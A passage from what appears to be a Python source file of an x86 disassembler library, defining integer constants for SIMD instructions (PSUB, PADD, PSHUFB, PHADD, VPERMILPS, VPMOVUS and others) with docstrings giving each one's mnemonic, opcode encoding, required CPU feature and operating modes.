MASKMOVDQU_RDI_XMM_XMM: int = 2508
"""
``MASKMOVDQU xmm1, xmm2``
``66 0F F7 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VMASKMOVDQU_RDI_XMM_XMM: int = 2509
"""
``VMASKMOVDQU xmm1, xmm2``
``VEX.128.66.0F.WIG F7 /r``
``AVX``
``16/32/64-bit``
"""
PSUBB_MM_MMM64: int = 2510
"""
``PSUBB mm, mm/m64``
``NP 0F F8 /r``
``MMX``
``16/32/64-bit``
"""
PSUBB_XMM_XMMM128: int = 2511
"""
``PSUBB xmm1, xmm2/m128``
``66 0F F8 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSUBB_XMM_XMM_XMMM128: int = 2512
"""
``VPSUBB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG F8 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSUBB_YMM_YMM_YMMM256: int = 2513
"""
``VPSUBB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG F8 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSUBB_XMM_K1Z_XMM_XMMM128: int = 2514
"""
``VPSUBB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG F8 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBB_YMM_K1Z_YMM_YMMM256: int = 2515
"""
``VPSUBB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG F8 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBB_ZMM_K1Z_ZMM_ZMMM512: int = 2516
"""
``VPSUBB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG F8 /r``
``AVX512BW``
``16/32/64-bit``
"""
PSUBW_MM_MMM64: int = 2517
"""
``PSUBW mm, mm/m64``
``NP 0F F9 /r``
``MMX``
``16/32/64-bit``
"""
PSUBW_XMM_XMMM128: int = 2518
"""
``PSUBW xmm1, xmm2/m128``
``66 0F F9 /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSUBW_XMM_XMM_XMMM128: int = 2519
"""
``VPSUBW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG F9 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSUBW_YMM_YMM_YMMM256: int = 2520
"""
``VPSUBW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG F9 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSUBW_XMM_K1Z_XMM_XMMM128: int = 2521
"""
``VPSUBW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG F9 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBW_YMM_K1Z_YMM_YMMM256: int = 2522
"""
``VPSUBW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG F9 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSUBW_ZMM_K1Z_ZMM_ZMMM512: int = 2523
"""
``VPSUBW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG F9 /r``
``AVX512BW``
``16/32/64-bit``
"""
PSUBD_MM_MMM64: int = 2524
"""
``PSUBD mm, mm/m64``
``NP 0F FA /r``
``MMX``
``16/32/64-bit``
"""
PSUBD_XMM_XMMM128: int = 2525
"""
``PSUBD xmm1, xmm2/m128``
``66 0F FA /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSUBD_XMM_XMM_XMMM128: int = 2526
"""
``VPSUBD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG FA /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSUBD_YMM_YMM_YMMM256: int = 2527
"""
``VPSUBD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG FA /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSUBD_XMM_K1Z_XMM_XMMM128B32: int = 2528
"""
``VPSUBD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F.W0 FA /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSUBD_YMM_K1Z_YMM_YMMM256B32: int = 2529
"""
``VPSUBD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F.W0 FA /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSUBD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2530
"""
``VPSUBD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F.W0 FA /r``
``AVX512F``
``16/32/64-bit``
"""
PSUBQ_MM_MMM64: int = 2531
"""
``PSUBQ mm1, mm2/m64``
``NP 0F FB /r``
``SSE2``
``16/32/64-bit``
"""
PSUBQ_XMM_XMMM128: int = 2532
"""
``PSUBQ xmm1, xmm2/m128``
``66 0F FB /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPSUBQ_XMM_XMM_XMMM128: int = 2533
"""
``VPSUBQ xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG FB /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSUBQ_YMM_YMM_YMMM256: int = 2534
"""
``VPSUBQ ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG FB /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSUBQ_XMM_K1Z_XMM_XMMM128B64: int = 2535
"""
``VPSUBQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F.W1 FB /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSUBQ_YMM_K1Z_YMM_YMMM256B64: int = 2536
"""
``VPSUBQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F.W1 FB /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPSUBQ_ZMM_K1Z_ZMM_ZMMM512B64: int = 2537
"""
``VPSUBQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F.W1 FB /r``
``AVX512F``
``16/32/64-bit``
"""
PADDB_MM_MMM64: int = 2538
"""
``PADDB mm, mm/m64``
``NP 0F FC /r``
``MMX``
``16/32/64-bit``
"""
PADDB_XMM_XMMM128: int = 2539
"""
``PADDB xmm1, xmm2/m128``
``66 0F FC /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPADDB_XMM_XMM_XMMM128: int = 2540
"""
``VPADDB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG FC /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPADDB_YMM_YMM_YMMM256: int = 2541
"""
``VPADDB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG FC /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPADDB_XMM_K1Z_XMM_XMMM128: int = 2542
"""
``VPADDB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG FC /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDB_YMM_K1Z_YMM_YMMM256: int = 2543
"""
``VPADDB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG FC /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDB_ZMM_K1Z_ZMM_ZMMM512: int = 2544
"""
``VPADDB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG FC /r``
``AVX512BW``
``16/32/64-bit``
"""
PADDW_MM_MMM64: int = 2545
"""
``PADDW mm, mm/m64``
``NP 0F FD /r``
``MMX``
``16/32/64-bit``
"""
PADDW_XMM_XMMM128: int = 2546
"""
``PADDW xmm1, xmm2/m128``
``66 0F FD /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPADDW_XMM_XMM_XMMM128: int = 2547
"""
``VPADDW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG FD /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPADDW_YMM_YMM_YMMM256: int = 2548
"""
``VPADDW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG FD /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPADDW_XMM_K1Z_XMM_XMMM128: int = 2549
"""
``VPADDW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F.WIG FD /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDW_YMM_K1Z_YMM_YMMM256: int = 2550
"""
``VPADDW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F.WIG FD /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPADDW_ZMM_K1Z_ZMM_ZMMM512: int = 2551
"""
``VPADDW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F.WIG FD /r``
``AVX512BW``
``16/32/64-bit``
"""
PADDD_MM_MMM64: int = 2552
"""
``PADDD mm, mm/m64``
``NP 0F FE /r``
``MMX``
``16/32/64-bit``
"""
PADDD_XMM_XMMM128: int = 2553
"""
``PADDD xmm1, xmm2/m128``
``66 0F FE /r``
``SSE2``
``16/32/64-bit``
"""
VEX_VPADDD_XMM_XMM_XMMM128: int = 2554
"""
``VPADDD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F.WIG FE /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPADDD_YMM_YMM_YMMM256: int = 2555
"""
``VPADDD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F.WIG FE /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPADDD_XMM_K1Z_XMM_XMMM128B32: int = 2556
"""
``VPADDD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F.W0 FE /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPADDD_YMM_K1Z_YMM_YMMM256B32: int = 2557
"""
``VPADDD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F.W0 FE /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPADDD_ZMM_K1Z_ZMM_ZMMM512B32: int = 2558
"""
``VPADDD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F.W0 FE /r``
``AVX512F``
``16/32/64-bit``
"""
UD0_R16_RM16: int = 2559
"""
``UD0 r16, r/m16``
``o16 0F FF /r``
``286+``
``16/32/64-bit``
"""
UD0_R32_RM32: int = 2560
"""
``UD0 r32, r/m32``
``o32 0F FF /r``
``386+``
``16/32/64-bit``
"""
UD0_R64_RM64: int = 2561
"""
``UD0 r64, r/m64``
``o64 0F FF /r``
``X64``
``64-bit``
"""
PSHUFB_MM_MMM64: int = 2562
"""
``PSHUFB mm1, mm2/m64``
``NP 0F 38 00 /r``
``SSSE3``
``16/32/64-bit``
"""
PSHUFB_XMM_XMMM128: int = 2563
"""
``PSHUFB xmm1, xmm2/m128``
``66 0F 38 00 /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPSHUFB_XMM_XMM_XMMM128: int = 2564
"""
``VPSHUFB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 00 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSHUFB_YMM_YMM_YMMM256: int = 2565
"""
``VPSHUFB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 00 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPSHUFB_XMM_K1Z_XMM_XMMM128: int = 2566
"""
``VPSHUFB xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.WIG 00 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSHUFB_YMM_K1Z_YMM_YMMM256: int = 2567
"""
``VPSHUFB ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.WIG 00 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSHUFB_ZMM_K1Z_ZMM_ZMMM512: int = 2568
"""
``VPSHUFB zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.WIG 00 /r``
``AVX512BW``
``16/32/64-bit``
"""
PHADDW_MM_MMM64: int = 2569
"""
``PHADDW mm1, mm2/m64``
``NP 0F 38 01 /r``
``SSSE3``
``16/32/64-bit``
"""
PHADDW_XMM_XMMM128: int = 2570
"""
``PHADDW xmm1, xmm2/m128``
``66 0F 38 01 /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPHADDW_XMM_XMM_XMMM128: int = 2571
"""
``VPHADDW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 01 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPHADDW_YMM_YMM_YMMM256: int = 2572
"""
``VPHADDW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 01 /r``
``AVX2``
``16/32/64-bit``
"""
PHADDD_MM_MMM64: int = 2573
"""
``PHADDD mm1, mm2/m64``
``NP 0F 38 02 /r``
``SSSE3``
``16/32/64-bit``
"""
PHADDD_XMM_XMMM128: int = 2574
"""
``PHADDD xmm1, xmm2/m128``
``66 0F 38 02 /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPHADDD_XMM_XMM_XMMM128: int = 2575
"""
``VPHADDD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 02 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPHADDD_YMM_YMM_YMMM256: int = 2576
"""
``VPHADDD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 02 /r``
``AVX2``
``16/32/64-bit``
"""
PHADDSW_MM_MMM64: int = 2577
"""
``PHADDSW mm1, mm2/m64``
``NP 0F 38 03 /r``
``SSSE3``
``16/32/64-bit``
"""
PHADDSW_XMM_XMMM128: int = 2578
"""
``PHADDSW xmm1, xmm2/m128``
``66 0F 38 03 /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPHADDSW_XMM_XMM_XMMM128: int = 2579
"""
``VPHADDSW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 03 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPHADDSW_YMM_YMM_YMMM256: int = 2580
"""
``VPHADDSW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 03 /r``
``AVX2``
``16/32/64-bit``
"""
PMADDUBSW_MM_MMM64: int = 2581
"""
``PMADDUBSW mm1, mm2/m64``
``NP 0F 38 04 /r``
``SSSE3``
``16/32/64-bit``
"""
PMADDUBSW_XMM_XMMM128: int = 2582
"""
``PMADDUBSW xmm1, xmm2/m128``
``66 0F 38 04 /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPMADDUBSW_XMM_XMM_XMMM128: int = 2583
"""
``VPMADDUBSW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 04 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMADDUBSW_YMM_YMM_YMMM256: int = 2584
"""
``VPMADDUBSW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 04 /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMADDUBSW_XMM_K1Z_XMM_XMMM128: int = 2585
"""
``VPMADDUBSW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.WIG 04 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMADDUBSW_YMM_K1Z_YMM_YMMM256: int = 2586
"""
``VPMADDUBSW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.WIG 04 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMADDUBSW_ZMM_K1Z_ZMM_ZMMM512: int = 2587
"""
``VPMADDUBSW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.WIG 04 /r``
``AVX512BW``
``16/32/64-bit``
"""
PHSUBW_MM_MMM64: int = 2588
"""
``PHSUBW mm1, mm2/m64``
``NP 0F 38 05 /r``
``SSSE3``
``16/32/64-bit``
"""
PHSUBW_XMM_XMMM128: int = 2589
"""
``PHSUBW xmm1, xmm2/m128``
``66 0F 38 05 /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPHSUBW_XMM_XMM_XMMM128: int = 2590
"""
``VPHSUBW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 05 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPHSUBW_YMM_YMM_YMMM256: int = 2591
"""
``VPHSUBW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 05 /r``
``AVX2``
``16/32/64-bit``
"""
PHSUBD_MM_MMM64: int = 2592
"""
``PHSUBD mm1, mm2/m64``
``NP 0F 38 06 /r``
``SSSE3``
``16/32/64-bit``
"""
PHSUBD_XMM_XMMM128: int = 2593
"""
``PHSUBD xmm1, xmm2/m128``
``66 0F 38 06 /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPHSUBD_XMM_XMM_XMMM128: int = 2594
"""
``VPHSUBD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 06 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPHSUBD_YMM_YMM_YMMM256: int = 2595
"""
``VPHSUBD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 06 /r``
``AVX2``
``16/32/64-bit``
"""
PHSUBSW_MM_MMM64: int = 2596
"""
``PHSUBSW mm1, mm2/m64``
``NP 0F 38 07 /r``
``SSSE3``
``16/32/64-bit``
"""
PHSUBSW_XMM_XMMM128: int = 2597
"""
``PHSUBSW xmm1, xmm2/m128``
``66 0F 38 07 /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPHSUBSW_XMM_XMM_XMMM128: int = 2598
"""
``VPHSUBSW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 07 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPHSUBSW_YMM_YMM_YMMM256: int = 2599
"""
``VPHSUBSW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 07 /r``
``AVX2``
``16/32/64-bit``
"""
PSIGNB_MM_MMM64: int = 2600
"""
``PSIGNB mm1, mm2/m64``
``NP 0F 38 08 /r``
``SSSE3``
``16/32/64-bit``
"""
PSIGNB_XMM_XMMM128: int = 2601
"""
``PSIGNB xmm1, xmm2/m128``
``66 0F 38 08 /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPSIGNB_XMM_XMM_XMMM128: int = 2602
"""
``VPSIGNB xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 08 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSIGNB_YMM_YMM_YMMM256: int = 2603
"""
``VPSIGNB ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 08 /r``
``AVX2``
``16/32/64-bit``
"""
PSIGNW_MM_MMM64: int = 2604
"""
``PSIGNW mm1, mm2/m64``
``NP 0F 38 09 /r``
``SSSE3``
``16/32/64-bit``
"""
PSIGNW_XMM_XMMM128: int = 2605
"""
``PSIGNW xmm1, xmm2/m128``
``66 0F 38 09 /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPSIGNW_XMM_XMM_XMMM128: int = 2606
"""
``VPSIGNW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 09 /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSIGNW_YMM_YMM_YMMM256: int = 2607
"""
``VPSIGNW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 09 /r``
``AVX2``
``16/32/64-bit``
"""
PSIGND_MM_MMM64: int = 2608
"""
``PSIGND mm1, mm2/m64``
``NP 0F 38 0A /r``
``SSSE3``
``16/32/64-bit``
"""
PSIGND_XMM_XMMM128: int = 2609
"""
``PSIGND xmm1, xmm2/m128``
``66 0F 38 0A /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPSIGND_XMM_XMM_XMMM128: int = 2610
"""
``VPSIGND xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 0A /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPSIGND_YMM_YMM_YMMM256: int = 2611
"""
``VPSIGND ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 0A /r``
``AVX2``
``16/32/64-bit``
"""
PMULHRSW_MM_MMM64: int = 2612
"""
``PMULHRSW mm1, mm2/m64``
``NP 0F 38 0B /r``
``SSSE3``
``16/32/64-bit``
"""
PMULHRSW_XMM_XMMM128: int = 2613
"""
``PMULHRSW xmm1, xmm2/m128``
``66 0F 38 0B /r``
``SSSE3``
``16/32/64-bit``
"""
VEX_VPMULHRSW_XMM_XMM_XMMM128: int = 2614
"""
``VPMULHRSW xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.WIG 0B /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPMULHRSW_YMM_YMM_YMMM256: int = 2615
"""
``VPMULHRSW ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.WIG 0B /r``
``AVX2``
``16/32/64-bit``
"""
EVEX_VPMULHRSW_XMM_K1Z_XMM_XMMM128: int = 2616
"""
``VPMULHRSW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.WIG 0B /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMULHRSW_YMM_K1Z_YMM_YMMM256: int = 2617
"""
``VPMULHRSW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.WIG 0B /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMULHRSW_ZMM_K1Z_ZMM_ZMMM512: int = 2618
"""
``VPMULHRSW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.WIG 0B /r``
``AVX512BW``
``16/32/64-bit``
"""
VEX_VPERMILPS_XMM_XMM_XMMM128: int = 2619
"""
``VPERMILPS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 0C /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPERMILPS_YMM_YMM_YMMM256: int = 2620
"""
``VPERMILPS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 0C /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VPERMILPS_XMM_K1Z_XMM_XMMM128B32: int = 2621
"""
``VPERMILPS xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst``
``EVEX.128.66.0F38.W0 0C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMILPS_YMM_K1Z_YMM_YMMM256B32: int = 2622
"""
``VPERMILPS ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst``
``EVEX.256.66.0F38.W0 0C /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMILPS_ZMM_K1Z_ZMM_ZMMM512B32: int = 2623
"""
``VPERMILPS zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst``
``EVEX.512.66.0F38.W0 0C /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VPERMILPD_XMM_XMM_XMMM128: int = 2624
"""
``VPERMILPD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 0D /r``
``AVX``
``16/32/64-bit``
"""
VEX_VPERMILPD_YMM_YMM_YMMM256: int = 2625
"""
``VPERMILPD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 0D /r``
``AVX``
``16/32/64-bit``
"""
EVEX_VPERMILPD_XMM_K1Z_XMM_XMMM128B64: int = 2626
"""
``VPERMILPD xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst``
``EVEX.128.66.0F38.W1 0D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMILPD_YMM_K1Z_YMM_YMMM256B64: int = 2627
"""
``VPERMILPD ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst``
``EVEX.256.66.0F38.W1 0D /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPERMILPD_ZMM_K1Z_ZMM_ZMMM512B64: int = 2628
"""
``VPERMILPD zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst``
``EVEX.512.66.0F38.W1 0D /r``
``AVX512F``
``16/32/64-bit``
"""
VEX_VTESTPS_XMM_XMMM128: int = 2629
"""
``VTESTPS xmm1, xmm2/m128``
``VEX.128.66.0F38.W0 0E /r``
``AVX``
``16/32/64-bit``
"""
VEX_VTESTPS_YMM_YMMM256: int = 2630
"""
``VTESTPS ymm1, ymm2/m256``
``VEX.256.66.0F38.W0 0E /r``
``AVX``
``16/32/64-bit``
"""
VEX_VTESTPD_XMM_XMMM128: int = 2631
"""
``VTESTPD xmm1, xmm2/m128``
``VEX.128.66.0F38.W0 0F /r``
``AVX``
``16/32/64-bit``
"""
VEX_VTESTPD_YMM_YMMM256: int = 2632
"""
``VTESTPD ymm1, ymm2/m256``
``VEX.256.66.0F38.W0 0F /r``
``AVX``
``16/32/64-bit``
"""
PBLENDVB_XMM_XMMM128: int = 2633
"""
``PBLENDVB xmm1, xmm2/m128, <XMM0>``
``66 0F 38 10 /r``
``SSE4.1``
``16/32/64-bit``
"""
EVEX_VPSRLVW_XMM_K1Z_XMM_XMMM128: int = 2634
"""
``VPSRLVW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W1 10 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRLVW_YMM_K1Z_YMM_YMMM256: int = 2635
"""
``VPSRLVW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W1 10 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRLVW_ZMM_K1Z_ZMM_ZMMM512: int = 2636
"""
``VPSRLVW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W1 10 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVUSWB_XMMM64_K1Z_XMM: int = 2637
"""
``VPMOVUSWB xmm1/m64 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 10 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVUSWB_XMMM128_K1Z_YMM: int = 2638
"""
``VPMOVUSWB xmm1/m128 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 10 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVUSWB_YMMM256_K1Z_ZMM: int = 2639
"""
``VPMOVUSWB ymm1/m256 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 10 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRAVW_XMM_K1Z_XMM_XMMM128: int = 2640
"""
``VPSRAVW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W1 11 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRAVW_YMM_K1Z_YMM_YMMM256: int = 2641
"""
``VPSRAVW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W1 11 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSRAVW_ZMM_K1Z_ZMM_ZMMM512: int = 2642
"""
``VPSRAVW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W1 11 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVUSDB_XMMM32_K1Z_XMM: int = 2643
"""
``VPMOVUSDB xmm1/m32 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 11 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSDB_XMMM64_K1Z_YMM: int = 2644
"""
``VPMOVUSDB xmm1/m64 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 11 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSDB_XMMM128_K1Z_ZMM: int = 2645
"""
``VPMOVUSDB xmm1/m128 {k1}{z}, zmm2``
``EVEX.512.F3.0F38.W0 11 /r``
``AVX512F``
``16/32/64-bit``
"""
EVEX_VPSLLVW_XMM_K1Z_XMM_XMMM128: int = 2646
"""
``VPSLLVW xmm1 {k1}{z}, xmm2, xmm3/m128``
``EVEX.128.66.0F38.W1 12 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSLLVW_YMM_K1Z_YMM_YMMM256: int = 2647
"""
``VPSLLVW ymm1 {k1}{z}, ymm2, ymm3/m256``
``EVEX.256.66.0F38.W1 12 /r``
``AVX512VL and AVX512BW``
``16/32/64-bit``
"""
EVEX_VPSLLVW_ZMM_K1Z_ZMM_ZMMM512: int = 2648
"""
``VPSLLVW zmm1 {k1}{z}, zmm2, zmm3/m512``
``EVEX.512.66.0F38.W1 12 /r``
``AVX512BW``
``16/32/64-bit``
"""
EVEX_VPMOVUSQB_XMMM16_K1Z_XMM: int = 2649
"""
``VPMOVUSQB xmm1/m16 {k1}{z}, xmm2``
``EVEX.128.F3.0F38.W0 12 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
EVEX_VPMOVUSQB_XMMM32_K1Z_YMM: int = 2650
"""
``VPMOVUSQB xmm1/m32 {k1}{z}, ymm2``
``EVEX.256.F3.0F38.W0 12 /r``
``AVX512VL and AVX512F``
``16/32/64-bit``
"""
